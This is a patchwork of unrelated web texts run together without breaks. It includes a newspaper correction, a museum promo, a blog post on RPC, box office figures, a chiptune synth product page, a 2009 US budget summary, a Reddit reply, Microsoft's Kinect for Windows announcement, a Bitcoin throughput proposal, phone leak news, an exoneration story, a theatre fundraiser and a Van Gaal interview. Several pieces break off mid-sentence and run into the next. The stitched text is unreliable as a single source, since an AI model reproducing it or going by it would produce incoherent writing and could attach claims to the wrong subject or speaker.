Correction: Due to an editing error, the headline mistakenly said the paper called for Hatch’s resignation, instead of his retirement.The mission of Discovery Park of America is to inspire children and adults to see beyond. Located in the beautiful Reelfoot Lake Region of Tennessee, Discovery Park of America offers visitors of all ages a world-class educational experience. With more than 70,000 sq. feet of galleries and interactive exhibits focused on nature, science, technology, history and art to engage children and adults alike, we make learning fun! You can also explore our 50-acre heritage park, featuring a Blue Angels plane, our Discovery Garden and a 100-year-old chapel.
From dinosaurs to Native American history to space exploration, Discovery Park of America will inspire you and provide a greater understanding of our world – past, present and future. We’re an easy day trip from Nashville, Memphis, Jackson, Paducah, Murray and Dyersburg….plan your visit now!July 1st, 2008 | Published in column, integration, messaging, REST, RPC | 38 Comments | Bookmark on Pinboard.in
My latest Internet Computing column, “Convenience Over Correctness,” (PDF) is now available. It continues the exploration of problems with RPC-oriented distributed programming approaches that I’ve been writing about in each of my three prior columns this year, as well as in columns from years gone by and in the erlang-questions mailing list.
For years we’ve known RPC and its descendants to be fundamentally flawed, yet many still willingly use the approach. Why? I believe the reason is simply convenience. Regardless of RPC’s well-understood problems, many developers continue to go down the RPC-oriented path because it conveniently fits the abstractions of the popular general-purpose programming languages they limit themselves to using. Making a function or method call to a remote or distributed function, object, or service appear just like any other function or method call allows such developers to stay within the comfortable confines of their language. Those who choose this approach essentially decide that developer convenience and comfort is more important than dealing with hard distribution issues like latency, concurrency, reliability, scalability, and partial failure.
Is this convenience for the developer the right thing to focus on? I really, really don’t think it is. There are ways of developing robust distributed applications that don’t require code-generation toolkits, piles of special code annotations, or brittle enterprisey frameworks. Perhaps the wonderful programming language renaissance we’re currently experiencing will help us to finally see the light and put tired old broken abstractions like RPC permanently out to pasture.The Box Office Mojo website updated its box office estimates for the your name. anime film up through April 23. The film earned about US$336,855 at 168 theaters in the United States and Canada over the weekend of April 21-23, and ranked #24. In total, the film has earned an estimated US$4,074,629 in the United States and Canada after three weeks in theaters.
your name. earned US$1,813,781 in its debut weekend beginning on April 7, and ranked #13 at the box office. The film had per-screen average of US$5,832, and the film's per-theater average for April 7 was higher than any film in the top 12. The film had topped US$3.4 million by the end of its second weekend.
Funimation is hosting film screenings in both the original Japanese with English subtitles and an English dub.
Box Office Mojo estimated the film's current worldwide total at US$353,596,712 as of April 23.
Thanks to Daniel Zelter for the news tip.Obscura is an Arduino-compatible 8-bit synthesizer that allows you to create NES, C64, and Amiga-style chiptune music by simply connecting a MIDI device.
No programming is required. This monophonic MIDI synth comes programmed with software that includes 16 preset patches.
Patch 0: 12.5% duty-cycle pulse waveform
Patch 1: 25% duty-cycle pulse waveform
Patch 2: 50% duty-cycle pulse waveform
Patch 3: sawtooth waveform
Patch 4: 8-bit sine waveform
Patch 5: 4-bit triangle waveform
Patch 6: 8-bit triangle waveform
Patch 7: arpeggiated octaves (25% duty-cycle pulse)
Patch 8: arpeggiated octaves (50% duty-cycle pulse)
Patch 9: arpeggiated octaves (8-bit sine)
Patch A: arpeggiated octaves (8-bit triangle)
Patch b: vibrato (12.5% duty-cycle pulse)
Patch C: vibrato (25% duty-cycle pulse)
Patch d: vibrato (50% duty-cycle pulse)
Patch E: vibrato (8-bit sine)
Patch F: vibrato (4-bit triangle)
Users with programming experience will be able create their own custom software for Obscura using the Arduino IDE. (Obscura is based on the Arduino Leonardo platform.) Arduino pins 5, 8, 9, 10, 12, and 13 are broken out for hardware hacking and experimentation. Due to Arduino Leonardo’s native USB capabilities, the Obscura Synth can be programmed to appear as a USB mouse, keyboard, or HID, enabling interesting possibilities of unique MIDI-PC interface applications.
Unlike many other microcontroller-based synthesizers, which use pulse-width-modulation (PWM) to generate weak, noisy, low-quality audio signals, the Obscura uses an auxiliary digital-to-analog converter chip with true 8-bit quantization to produce a clear, high-quality audio signal. The Obscura is USB powered and does not require a special wall adapter with a barrel-jack type connector. The simple user interface consists of two patch control buttons, a reset button, and a 7-segment LED display. Audio is output via a standard 1/8'' (3.5 mm) stereo audio jack. (Although primarily designed to be a line out, the audio output can supply enough current to drive most headphones.)
Latest version of the Obscura MIDI 8-bit Chiptune Synth
The story the Obscura 8-bit Synthesizer begins with the Arcano MIDI NES Chiptune Synthesizer, a project launched through Kickstarter. During the Kickstarter campaign for the Arcano MIDI NES Chiptune Synthesizer, I received so many great suggestions from backers that I decided to rewrite the synth’s software to incorporate some of their ideas. Many backers told me they wanted to be able to program the synth with the Arduino IDE using only a USB cable, without the need for an AVR-ISP device or an FTDI cable. Unfortunately, this wasn’t possible with the Arcano synth's existing hardware design, so I created the Obscura, which is based on the same ATmega32u4 microcontroller used in the Arduino Leonardo.
The Obscura has gone through two hardware revisions and twelve software versions. The latest software version includes a USB serial monitor mode that is activated by holding down both preset patch control buttons during boot up. The USB serial monitor mode allows users to view the serial data output from their MIDI device on a PC or Mac for debugging and hacking purposes.
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sound 00:00 00:00
First PCB prototype of the Obscura 8-bit Synth
The software for the Obscura is not merely a port of the Arcano Chiptune Synth software, but was written from the ground up and uses wavetable synthesis to generate waveforms, whereas the Arcano MIDI NES Chiptune Synth generates waveforms on the fly using a series of logic statements.The United States federal budget for fiscal year 2009 began as a spending request submitted by President George W. Bush to the 110th Congress. The final resolution written and submitted by the 110th Congress to be forwarded to the President was approved by the House on June 5, 2008.[5]
The government was initially funded through three temporary continuing resolutions. Final funding for the Department of Defense, Department of Homeland Security, and Department of Veterans Affairs was enacted on September 30, 2008 as part of the Consolidated Security, Disaster Assistance, and Continuing Appropriations Act, 2009, while the remaining departments and agencies were funded as part of an omnibus spending bill, the Omnibus Appropriations Act, 2009, on March 10, 2009.[6]
Total receipts [ edit ]
(in billions of dollars)
Total spending [ edit ]
A dot plot representing spending by category for the US budget for 2009
The 110th Congress' budget for 2009 totaled $3.1 trillion. Percentages in parentheses indicate percentage change compared to 2008. This budget request is broken down by the following expenditures:
The financial cost of the Iraq War and the War in Afghanistan are not part of the defense budget; they were appropriations.
Deficit [ edit ]
Decreased tax revenue and high spending resulted in an unusually large budget deficit of about $1.4 trillion, well above the $407 billion projected in the FY 2009 budget.[10] A 2009 CBO report indicated that $245 billion, about half of the excess spending, was a result of the 2008 TARP bailouts. Spending increases and tax credits resulting from the American Recovery and Reinvestment Act of 2009 accounted for another $200 billion of the budget deficit.!DisagreeWithOP
While some parts of your statement are justified, as a whole it is inaccurate. Let's examine your position.
Too many people on this sub make virtue-signalling posts to impress people
I'm not sure what you mean by "virtue-signalling". The closest word that comes to my mind is "sensationalist" or "attention-seeking", and I'm willing to agree with you on that, based on just common knowledge about human behavior.
As a matter of fact, isn't that the most basic goal of vocalization? You say something with the expectation that someone will hear (and preferably respond).
Instead of actually testing beliefs they want tested
This is impossible to know with certainty, but there are clues that lend me to believe that people are submitting their actual beliefs for scrutiny.
There are two scenarios where you would be correct:
A significant number of posts do not reflect the poster's true beliefs, and therefore, the poster's actual beliefs are not being tested.
I disagree. The majority of posts on this subreddit are followed up with several points supporting the position. The well-thought out (and occasionally, impassioned) nature of the posts lends me to believe that posters generally do subscribe to the beliefs they've stated. The poster can be on the fence on the position, but the position they've adopted would be one that they more or less find agreeable.
A significant number of posters refuse to have these beliefs tested.
Inherently false. The keyword is "tested", not "changed". In this case, "testing" would be submitting the belief to public scrutiny. By the very act of posting, they've already submitted this belief to testing. How they respond to such scrutiny (if at all) is irrelevant. It would be interesting if they presented a counter-argument though.We’re thrilled at the sales we’ve seen for Kinect - 18 million sold in the past year – and we were honored to receive a Guinness World Record for the fastest selling consumer electronics device ever. As consumers, we may take devices like Kinect for granted, but in fact electronic devices are the fruit of a great deal of behind-the-scenes ingenuity and experimentation. Kinect is a shining example of this. Instead of mimicking the handheld motion-sensing controllers already on the market, Microsoft shattered the existing controller paradigm by inventing a new natural user interface system that enables advanced human tracking, gesture recognition, voice control and more. Our answer to the “wand” controller was no controller at all, or as we say, “YOU are the controller.”
Getting there wasn’t easy. Without many years of intense R&D efforts, including research investments of hundreds of millions of dollars, and the deep partnership between our research teams, software teams, hardware teams, manufacturing teams, and games studios, Kinect simply wouldn’t exist. And as amazing a piece of hardware as Kinect is, it is much more than that. At the heart of the Kinect experience lies sophisticated software that meaningfully deciphers the images and gestures captured by the 3D sensor as well as the voice commands captured by the microphone array from someone much further away than someone using a headset or a phone. More importantly, Kinect software can understand what each user means by a particular gesture or command across a wide range of possible shapes, sizes, and actions of real people.
The incredible amount of innovation on Kinect for Xbox 360 this past year shows the potential for Kinect as a platform for developers and businesses to build new and innovative offerings. Along with many others, we have only begun to explore the potential of this amazing technology. This proliferation of creative and imaginative new ideas for Kinect, which we call the Kinect Effect, will expand even further with our commercial release of Kinect for Windows.
Today, we are announcing that the new Kinect for Windows hardware and accompanying software will be available on February 1st, 2012 in 12 countries (United States, Australia, Canada, France, Germany, Ireland, Italy, Japan, Mexico, New Zealand, Spain, United Kingdom), at a suggested retail price of US $249. Kinect for Windows hardware will be available, in limited quantities at first, through a variety of resellers and distributors. The price includes a one-year warranty, access to ongoing software updates for both speech and human tracking, and our continued investment in Kinect for Windows-based software advancements. Later this year, we will offer special academic pricing (planned at US $149) for Qualified Educational Users.
We love the innovation we have seen built using Kinect for Xbox 360 – this has been a source of inspiration and delight for us and compelled us to create a team dedicated to serving this opportunity. We are proud to bring technology priced in the tens of thousands of dollars just a few years ago to the mainstream at extremely low consumer prices. And although Kinect for Windows is still value-priced for the technology, some will ask us why it isn’t the same price as Kinect for Xbox.
The ability to sell Kinect for Xbox 360 at its current price point is in large part subsidized by consumers buying a number of Kinect games, subscribing to Xbox LIVE, and making other transactions associated with the Xbox 360 ecosystem. In addition, the Kinect for Xbox 360 was built for and tested with the Xbox 360 console only, which is why it is not licensed for general commercial use, supported or under warranty when used on any other platform.
With Kinect for Windows, we are investing in creating a platform that is optimized for scenarios beyond the living room, and delivering new software features on an ongoing basis, starting with “near mode” (see my earlier blog post for more about this). In addition to support for Windows 7 and the Windows 8 developer preview (desktop apps only), Kinect for Windows will also support gesture and voice on Windows Embedded-based devices and will enhance how data is captured and accessed within intelligent systems across manufacturing, retail and many more industries. We are building the Kinect for Windows platform in a way that will allow other companies to integrate Kinect into their offerings and we have invested in an approach that allows them to develop in ways that are dependable and scalable.
We have chosen a hardware-only business model for Kinect for Windows, which means that we will not be charging for the SDK or the runtime; these will be available free to developers and end-users respectively. As an independent developer, IT manager, systems integrator, or ISV, you can innovate with confidence knowing that you will not pay license fees for the Kinect for Windows software or the ongoing software updates, and the Kinect for Windows hardware you and your customers use is supported by Microsoft.
Although we encourage all developers to understand and take advantage of the additional features and updates available with the new Kinect for Windows hardware and accompanying software, those developers using our SDK and the Kinect for Xbox 360 hardware may continue to use these in their development activities if they wish. However, non-commercial deployments using Kinect for Xbox 360 that were allowed using the beta SDK are not permitted with the newly released software. Non-commercial deployments using the new runtime and SDK will require the fully tested and supported Kinect for Windows hardware and software platform, just as commercial deployments do. Existing non-commercial deployments using our beta SDK may continue using the beta and the Kinect for Xbox 360 hardware; to accommodate this, we are extending the beta license for three more years, to June 16, 2016.
We expect that as Kinect for Windows hardware becomes readily available, developers will shift their development efforts to Kinect for Windows hardware in conjunction with the latest SDK and runtime. The combination of Kinect for Windows hardware and software creates a superior development platform for Windows and will yield a higher quality, better performing experience for end users.
We are excited for the new possibilities that Kinect will enable on the Windows platform, and to see how businesses and developers reimagine their processes and their products, and the many different ways each Kinect could enrich lives and make using technology more natural for everyone.
Craig Eisler
General Manager, Kinect for WindowsPRESENTATION PROPOSAL FOR SCALING BITCOIN STANFORD
Measuring maximum sustained transaction throughput on a global network of Bitcoin nodes
Andrea Suisani,
1
Andrew Clifford,
1
Andrew Stone,
1
Erik Beijnoff,
1
Peter Rizun,
1
Peter Tschipper,
1
Alexandra Fedorova,
2
Chen Feng,
2
Victoria Lemieux,
2
Stefan Matthews
3
1
Bitcoin Unlimited,
2
University of British Columbia,
3
nChain
Overview
Although it is well understood that increasing Bitcoin’s block size limit (currently 1 MB) would immediately reduce transaction fees and improve confirmation reliability, concern exists regarding the network’s ability to safely and reliably handle the associated increase in transaction throughput. To investigate this concern, we set up a global network of Bitcoin mining nodes
1
configured to accep t blocks up to one thousand times larger (1 GB) than the current limit. To those nodes we connected transaction generators, each capable of generating and broadcasting 200 transactio ns per second (tx/sec) sustained.
2
We performed (and are continuing to perform) a series of “ramps,” where the transaction generators were programmed to increase their generation rate following an exponential curve starting at 1 tx/sec and concluding at 1000 tx/sec—as illustrated in Fig. 1—to identify bottlenecks and measure performance statistics.
Fig. 1. Ramp input and typical node respons e.
1
At the time of writing, there were mining nodes in Toronto (64 GB, 20 core VPS), Frankfurt (16 GB, 8 core VPS), Munich (64 GB, 10-core rack-mounted server with 1 TB SSD), Stockholm (64 GB, 4 core desktop with 500 GB SSD), and central Washington State (16 GB, 4 core desktop). With the passing of BUIP065 and the associated $300,000 per year funding for the Gigablock Testnet Initiative, additional mining nodes will be deployed in Beijing, Bangalore, Sao Paulo, Sydney and Vancouver. The results we present at Stanford w ill include data from this larger test network as well.
2
At the time of writing, there were generators in San Francisco, New York, London, Amsterdam, Singapore and Bangalore (all 8 GB, 4 core VPS). Generators are Python applications interacting with a local instance of
bitcoindThe past few months have been absolutely swamped with Galaxy Note 8 leaks, from schematics and components to release date rumors and concept images. Through all of these leaks, including our own exclusive leak, we’ve managed to piece together a fairly complete picture of the upcoming phablet. But on Thursday morning, without warning, Samsung’s official Exynos Twitter account shared an image that appears to feature the Galaxy Note 8. After all that build up, Samsung spoiled the surprise itself.
One look at the phone in the tweet and you can tell that it isn’t a Galaxy S8 or a Galaxy S8+. While is shares some similarities with the flagship phones released earlier this year, the top bezel is thinner than that of the S8 or S8+ (which is what recent leaks have suggested as well). The display appears to stretch even further over the sides as well, making the Infinity Display name even more appropriate.
Considering we’re likely still a few weeks out from the Galaxy Note 8, there’s a chance that this isn’t the final hardware. That said, it’s worth stressing that the tweet above came from an official Samsung Twitter account, so it would be especially strange if the model in the image was inaccurate.
Samsung didn’t include any further information about the Note 8 in the tweet or the linked webpage, but recent reports claim the phone will feature a 6.3-inch Super AMOLED display with 2K resolution and an 18.5:9 aspect ratio, Exynos 8895 or Qualcomm Snapdragon 835 processor, 6GB of RAM, a dual 12-megapixel camera with optical image stabilization and a 3,300 mAh battery.
Samsung is expected to officially unveil the Galaxy Note 8 before the end of the month, with plans to launch the phone and have it in stores as early as August 23rd to beat the iPhone 8 to market.If all you remember from your philosophy of science course in college are the names Kuhn and Popper, you could be missing out on philosophy’s important contributions to your own career or to training the next generation of scientific thinkers. A panel of philosophers of science spoke today at the AAAS Annual Meeting in Vancouver, British Columbia, Canada, about philosophy’s role in science education and maintaining scientific integrity.
Georgia Tech’s Nancy Nersessian talked about a project that’s been running at her university since 2001 to investigate how bioengineering scientists think and work, and how to pass their skills on to students. Nersessian said that there is a “received view” of the scientific method — you formulate a hypothesis and then test it to either validate or invalidate it — and then there is the way scientists actually go about their day-to-day work.
In the real world of scientific investigation, she said, scientists usually rely on a model-based process rather than a hypothesis-driven one. They formulate models based on what they know from previous research and then derive testable hypotheses from those models. Data from experiments don’t validate or invalidate hypotheses as much as they feed back into the models to generate better research questions.
Based on her findings, Nersessian and her colleagues have developed a series of classes for science and engineering students at Georgia Tech that attempts to instill the skills necessary for a model-based approach to investigation. For example, students tackle the thankfully hypothetical scenario of a zombie invasion on campus and how officials could control and contain it. The first thing they must do, Nersessian said, is develop a model that includes relevant information on disease-spreading patterns, quarantine methods, and campus escape routes. Eventually, the students’ models begin to resemble real quarantine plans based on real-world diseases. By the end of the classes, Nersessian said, students should be “spontaneous, model-based reasoners.”
But it’s not just the investigation itself that benefits from philosophy of science training, said Heather Douglas of the University of Waterloo.
It’s also important for understanding how scientists can achieve and recognize scientific integrity in their research and advocacy.
A major problem with championing integrity in science is that most definitions of integrity are logically circular: Haing scientific
integrity means doing science … with integrity. That’s not particularly helpful, Douglas argued.
Instead, philosophy of science can train scientists to recognize the values inherent to doing good science. At minimum, these include internal consistency and empirical validity. But other, more subjective values creep into science as well, including whether theories have explanatory power, how simple models are, whether they fit into larger unifying theories, and whether they implicitly encourage equality and social justice.
These subjective values can be useful for determining what kinds of research questions you should be asking, but they shouldn’t be employed when
characterizing or interpreting data, Douglas said. Recognizing and separating out those values can help scientists determine the significance of their findings to larger issues and decide with what authority they can advocate on scientific, social, or political issues.Tying in with the new coding and computing content initiative announced by the BBC last month, the British broadcaster has announced a new Doctor Who-themed game designed to teach the basics of programming to kids.
Available online in the UK from Wednesday 22 October, ‘The Doctor and the Dalek’ game is aimed at CBBC-age viewers, and is voiced by the good Doctor himself, Peter Capaldi.
Players guide The Doctor on a perilous pursuit through space, as he teams up with a Dalek he rescued to save all of creation. Though the game is aimed at kids, the adventure also delves into the Sontar homeworld and the Clone Chambers, which have hitherto never been seen on-screen before, so this will probably appeal to curious Doctor Who fans of all ages.
Coding in games
The gaming facet is really just the packaging for what lies within. A myriad of puzzles and challenges are scattered throughout, with players taking control of the Dalek to ‘program’ it back into shape. With each successfully completed puzzle, an achievement is unlocked that helps The Doctor fine-tune the Dalek into tip-top condition.
Digging a little deeper, the puzzles are tied in with the new English computing curriculum, hence why this game is only open in the UK for now. Users are encouraged to combine instructions to accomplish a goal, using variables to change behaviour. Repetition and loops are also weaved in to the puzzles.
To help, the BBC is also making additional resources available for teachers and parents, designed for them to help kids get more from the game.
The Doctor and the Dalek was produced by BBC Wales and BBC Future Media, and developed and built by London-based agency Somethin’ Else.
➤ The Doctor and the Dalek [CBBC – Available Wednesday 22 October]
Read next: Offline over the weekend? Read all the tech news you missed right hereAfter spending 30 years in jail for a crime they did not commit, two half brothers – both considered mentally challenged – will taste freedom for the first time in their adult lives.
On Tuesday, a North Carolina Superior Court judge exonerated Henry McCollum and Leon Brown of the 1983 rape and murder of a young girl, based on recent DNA analysis of evidence. Mr. McCollum had spent three decades on death row, and Mr. Brown was serving a life sentence.
Judge Douglas Sasser overturned the previous convictions after DNA analysis of a cigarette butt found near sticks used in the murder proved to belong not to either brother, but instead to another man who lived on the same block as the murder and was later convicted of assaulting three other women.
The new evidence was so compelling that Robeson County district attorney Johnson Britt recommended that the convictions for the brothers be reversed.
“The evidence you heard today in my opinion negates the evidence presented at trial,” Mr. Britt said in a closing statement before the judge announced his decision. He was not involved with the prosecution of the men.
The men's families erupted in cheers as the judge announced his decision.
"We waited years and years," said James McCollum, Henry McCollum's father. "We kept the faith."
McCollum and Brown were required to return to their prison cells after Tuesday's proceedings until paperwork could be processed. McCollum was released Wednesday, and according to Keith Acree, spokesman for the state prison system, Brown was also expected to be released that day.
The two brothers were teenagers when the brutalized body of 11-year-old Sabrina Buie was found in a soybean field in the tiny town of Red Springs, N.C. McCollum was 19 and Brown was 15. Both confessed to the crime, but family members, defense attorneys, and exoneration advocates have long argued that those statements were coerced and that the two men were not mentally capable of fully understanding the implications of their statements.
McCollum recounted his interrogation by police in a recent video interview with The News & Observer.
“I had never been under this much pressure, with a person hollering at me and threatening me,” he told the Raleigh-based paper. “I just made up a story and gave it to them so they would let me go |
MONTGOMERY, Alabama -- When residents of Montgomery think of Old Cloverdale, the Capri Theatre is often an image that stands in the forefront.
However, as the movie industry changes, Montgomery's oldest movie theatre is facing a challenge that could ultimately be its demise.
Capri Theatre Director Martin McCaffery said the theatre must switch from using 35 mm film to digital in order to continue screening motion pictures.
"Fewer movies are available," said Capri Theatre Director Martin McCaffery. "If we don't get digital, we don 't have films."
McCaffery said the theatre is in need of $80,000 worth of digital equipment to make the switch. Without it, the Capri will no longer be able to operate.
"The movie industry has gone to digital," said McCaffery. "We, and other small theaters, are sort of being forced to do this or go out of business."
The theatre hopes to raise the money to purchase the equipment through a Kickstarter campaign that will begin on Friday and run through April 30. During the campaign, donators will be offered various incentives, ranging from concessions to a piece of of a 35 mm projector.
McCaffery is hopeful the Capri Theatre will receive the same amount of support as Mobile's Crescent Theatre garnered last year when it raised the money needed to purchase a digital projector through a similar fundraiser.
If the Kickstarter campaign doesn't work, McCaffery said the theatre will consider other ways to produce the funds needed to go digital, including taking out a loan or trying a different route to raise donations.
"We will have to reevaluate how we are going to operate," said McCaffery.
The Capri Theatre, which was originally built as The Clover in 1941, was Montgomery's first neighborhood theatre. It was renamed The Capri Theatre in December 1962.Manchester United manager Louis van Gaal sat down for an interview with English journalists in San Jose just hours after his team beat Barcelona this weekend.
Van Gaal talked frankly about his future plans, his thoughts on last season, the composition of his new squad, his decision to sell Robin van Persie and United's chances of ever luring Cristiano Ronaldo back to Old Trafford.
Here, Sportsmail deliver you the conversation with the United boss in full.
Louis van Gaal (centre) has discussed key issues ahead of his next season with Manchester United
Van Gaal, with Barcelona playmaker Andres Iniesta, steered his side to a 3-1 win over the Catalans
LOUIS, YOU SAID LAST YEAR THE UNITED SQUAD WAS BROKEN. DO YOU THINK IT IS WELL FIXED NOW?
We only have a better balance of the team. Now we have all the positions double occupied and that is what I said in many, many press conferences last season that we were not in balance and I have to play with players in other positions than they normally have to play in or can play.
Now it is a better balance, but the preparation is the same. Certainly the players have already been working with us for one year, with me and the staff and are used to the philosophy.
Now we have to implement that with the new players and that will happen every year because I believe in refreshment of the group.
THERE WAS STILL A BIG GAP TO CHAMPIONS CHELSEA LAST SEASON. HAVE YOU GOT ENOUGH TO MAKE THAT UP?
The gap is only the consequence of our bad start because after the bad start you will be amazed.
SO ARE YOU BETTER PREPARED TO MAKE A GOOD START?
I don't know. That could happen again but every day I say to the boys: 'Our first game against Tottenham Hotspur is the most important.' The performance against Barcelona here [a 3-1 win] was much more important than the result. OK, the result is fantastic but we were lucky also. If we'd had that luck against Chelsea away last season, you never know.
YOU HAVE SO FAR LET 17 PLAYERS GO AND BROUGHT IN 10. DID YOU EXPECT TO MAKE THAT MANY CHANGES?
I believe in refreshment. You need that, to keep the spirit in the team and also the challenge to be in the line-up and before my time it was not done like that. We had a lot of old players - 35, 34 - so we needed to do that but it was difficult for me because I was new and I had to do it at once.
After that I made my selection. In my preparation I let players go and we bought up to the last day of August last summer.
Wayne Rooney shakes hands with United manager Van Gaal during the Barcelona friendly on Saturday
CAN YOU STILL ACHIEVE IN THREE YEARS WHAT YOU HOPED?
I hope I shall end my career with the championship of course. That would be fantastic because that is also the aim of Manchester United. My personal aim is that I shall be a manager with four championships in four different countries and in my opinion the best countries of Europe.
DO YOU AND YOUR TEAM HAVE A REALISTIC CHANCE OF WINNING THE BARCLAYS PREMIER LEAGUE THIS SEASON?
We at Manchester United buy only players who can contribute to our level. You can write every player that you want, every name that you can say, but we cannot say that.
It is also difficult to select the players because you need the players, the club, the money and the price, so it is not easy as you think. You have seen that Memphis Depay is a talent, much more than that, at his age, maybe the best talent. That was voted by the media or maybe the trainer coaches at the World Cup. Matteo Darmian is from a small club but he also was at AC Milan so is a late developer but I think he can contribute and also Bastian Schweinsteiger can contribute as a senior player with a lot of quality.
Morgan Schneiderlin has to prove it because he was in Southampton where maybe he was the leader. Now he is here and I believe in him, that is why he is here.
But I want more players but it is not always possible.
United captain Rooney high fives new signing Memphis Depay during their pre-season victory across the pond
Morgan Schneiderlin pictured putting a tackle in on Barcelona maestro Andres Iniesta
HOW IMPORTANT IS YOUR DECISIVENESS IN DECISION-MAKING BECAUSE NOT EVERYBODY WOULD HAVE LET VAN PERSIE LEAVE?
That is also a process. It is what we have experienced in the whole season with each other. You have to oversee all the aspects. People have written that Van Persie is my favourite player and that I protect him and yes maybe I have done that. But in the end you always have to evaluate which players have contributed to our fourth place, which players a little bit and which players no contribution, and then you make decisions but you make decisions on facts and not on other things.
DID YOU THINK THAT: 'NEXT SEASON VAN PERSIE CANNOT DO ENOUGH FOR ME UP FRONT'?
There is also the choice for Wayne Rooney. People have written all season that Rooney is a striker but now you ask about Van Persie.
Robin van Persie was allowed to leave United for Turkish outfit Fenerbahce
IF ROONEY GETS INJURED HOW CAN UNITED SCORE ENOUGH GOALS?
You have seen Januzaj and, in two weeks Chicharito, or maybe I buy another striker. I have to evaluate always that process.
YOU SAID BUYING PLAYERS IS DIFFICULT, SO IF YOU CANT GET ONE IS THAT ENOUGH TO GET YOU WHERE YOU WANT TO BE?
It is dependable on Januzaj or Chicharito or Wilson, and Depay can also play in a striker position and that is also a process.
CAN ROONEY DO FOR YOU WHAT SERGIO AGUERO DOES FOR MANCHESTER CITY OR DIEGO COSTA FOR CHELSEA?
Rooney has said that he scores at the minimum 25 goals. Last season I had a top scorer with 12 goals and Van Persie had 10 goals. So when I have a striker that scores 25, and Rooney is more or less saying that, then I am better off.
DO YOU NEED A 25-GOAL STRIKER TO WIN THE LEAGUE?
Not only Rooney has to score but other players have to score and we have to concede less.
PEOPLE THOUGHT JANUZAJ WAS A WINGER BUT YOU THINK HE CAN BE A STRIKER?
I have given him a chance in this position and you have to look if he can do that or not but he has a lot of quality and against Barcelona he showed it for the first time.
ARSENE WENGER SAID YOUR CLUB ARE BUYING YOUR WAY TO GLORY, ALMOST INFERRING YOU ARE ABANDONING YOUR PRINCIPLES...
I don't speak about my colleagues. I never speak about colleagues. It is their responsibility.
Adnan Januzaj, pictured shooting against Barcelona, could be used as a striker, according to Van Gaal
BUT YOU HAVE BROUGHT THROUGH YOUNG PLAYERS…..
You can write that but I don't want to respond.
IS THE MOST IMPORTANT THING NOW TO WIN THE TITLE AGAIN AS SOON AS POSSIBLE?
To be fighting for the title. I don't think I have to tell you that. It is not wise to tell that.
WHEN YOU LOOK BACK AT YOUR FIRST YEAR BACK IN CLUB FOOTBALL, HAVE YOU REALISED HOW MUCH YOU MISSED IT?
I like to be on the pitch coaching and communicating with younger people. And with my job as the national coach you are only with them eight times in a year so that is a big difference. But because of our success with the Netherlands it was fantastic. But that's because of the success and the low expectations of the people in the Netherlands.
So that was a big surprise and it brought a lot of gratitude and normally in the Netherlands you never get gratitude. But because of the unexpected success it was fantastic. And I have challenges for myself. I have said already I want to work and be champions in the four strongest countries in Europe. So one of the challenges was that I wanted to participate in World and European Championships. And I said six months before I went to the World Cup that I wanted to come back to club football. So I have also ambitions and goals in my life. And that I have done. And after the World Cup I said I would go to the Premier League and after that clubs were coming for me.
COULD YOU WALK AWAY AT THE END OF YOUR CONTRACT IN TWO YEARS IF YOU HAVEN'T ACHIEVED WHAT YOU WANT?
Yes, I can do that.
IF THE UNITED BOARD CAME AND OFFERED YOU A NEW DEAL WOULD YOU TAKE IT?
You never know, you can never say: 'I go.' I have already said to my wife it might be that we extend in Manchester but normally I have said to my wife that after 55 years I quit. And I am still in business and in two weeks' time I will be 64!
IS IT A DRUG TO YOU?
I can walk away from it. I have already taken two sabbaticals. They were not even for a year on either occasion but it was very, very nice. And it was not cats and dogs with my wife. And I have a paradise in Portugal. So I can happily walk away from football and do other things. I know I can do that.
BUT IF YOU DIDN'T WIN THE TITLE IN THE NEXT TWO YEARS COULD YOU STILL WALK AWAY?
That would be a pity! And then Manchester United shall fire me! (laughing)
Van Gaal, pictured with United captain Rooney, admits he could pen an extended deal to stay in Manchester
UNITED HAVE BACKED YOU ON EVERYTHING YOU WANT. DOES THAT INCREASE THE PRESSURE ON YOU TO DELIVER?
No, I have read that in the papers that Manchester United have done all what Van Gaal wants but it's not like that.
IS THERE MORE PRESSURE, THOUGH?
Of course, I have my influence but I also have to listen to my board to the possibilities of Manchester United. Of course, I have influence, even big influence. OK, maybe that is the reason I am here. The pressure I put on myself is much higher. I have that challenge, I have that ambition and I have proved it in all the countries I have worked. I have that intrinsic pressure from within. The security staff are always saying to me that I always have a lot of energy. And that I have.
IS THIS LOUIS VAN GAAL'S UNITED NOW?
No, it's not my Manchester United. Why? Because we have to look for more balance in the team and for more creativity. The second goal against Barcelona was a marvellous goal. And we need not only what we have trained in the training session but also we need the creation of the players themselves. And then that has to be a mix. Therefore you need creative players. For example, Chelsea have Eden Hazard, Willian and Oscar. There is a lot of creativity there. And you need that because you have to break down teams that park the bus. Next year there might be more teams who are parking the bus.
BUT DON'T YOU HAVE CREATIVITY NOW?
No, you [the questioner] don't have a good vision I think. We can use much more creativity.
DO YOU NOT HAVE THE PLAYERS TO DO THAT?
We look for more creativity. So now we have Wayne, Mata, Depay, Young, Januzaj, Wilson, Herrera. So we have to compare. So Young has had a fantastic season but he is not a Neymar and we have to compete with that kind of class.
Ashley Young, pictured shooting against Barcelona, was described as 'not a Neymar' by his manager
Van Gaal has revealed he is always on the hunt for new creative players to sign for his team
CAN WE TALK ABOUT ANGEL DI MARIA?
I would rather not talk about that.
UNITED FANS LOVED YOUR SPEECH AT THE PLAYER OF THE YEAR DINNER. WAS IT DELIBERATE?
No, that's who I am. It's not deliberate. It's not that I think advance that I have to say that. It's my feeling. My feeling of the season. An intimate celebration and I didn't expect that it should be filmed on YouTube but you have seen Louis van Gaal – who I am. And I say the things how I feel and I think had we beaten Chelsea away it was still going to be very close I'm still thinking of that game, we were much better and we lose and they have one chance and they scored and we had a lot of chances and we had 80 per cent more possession. It was nearly a perfect game.
But we don't score. And that's the most important thing. Barcelona could have scored two-zero already and they don't score, so one post and one De Gea was saving. After that we scored and then it is a different game. And that's the same thing then [vs Chelsea] at that time.
We don't score and they score and that is the difference in the game. At that time if we win it, the gap was five points and the pressure was high.
IS THAT THEY TYPE OF THING YOU CAN'T GET OUT OF YOUR HEAD WHEN YOU ARE ON HOLIDAY IN PORTUGAL?
No, I'm thinking at that time, they have Hazard, he can always make goals, he can always make an action and decide a goal. Manchester City have Aguero, it's the same type. Barcelona has Lionel Messi, Neymar and Luis Suarez. We as Manchester United have to compete with these clubs. So we have to look also for that kind of players.
Van Gaal showed his eccentric side during the end-of-season Player of the Year dinner for United
ARE YOU STILL LOOKING FOR HIM?
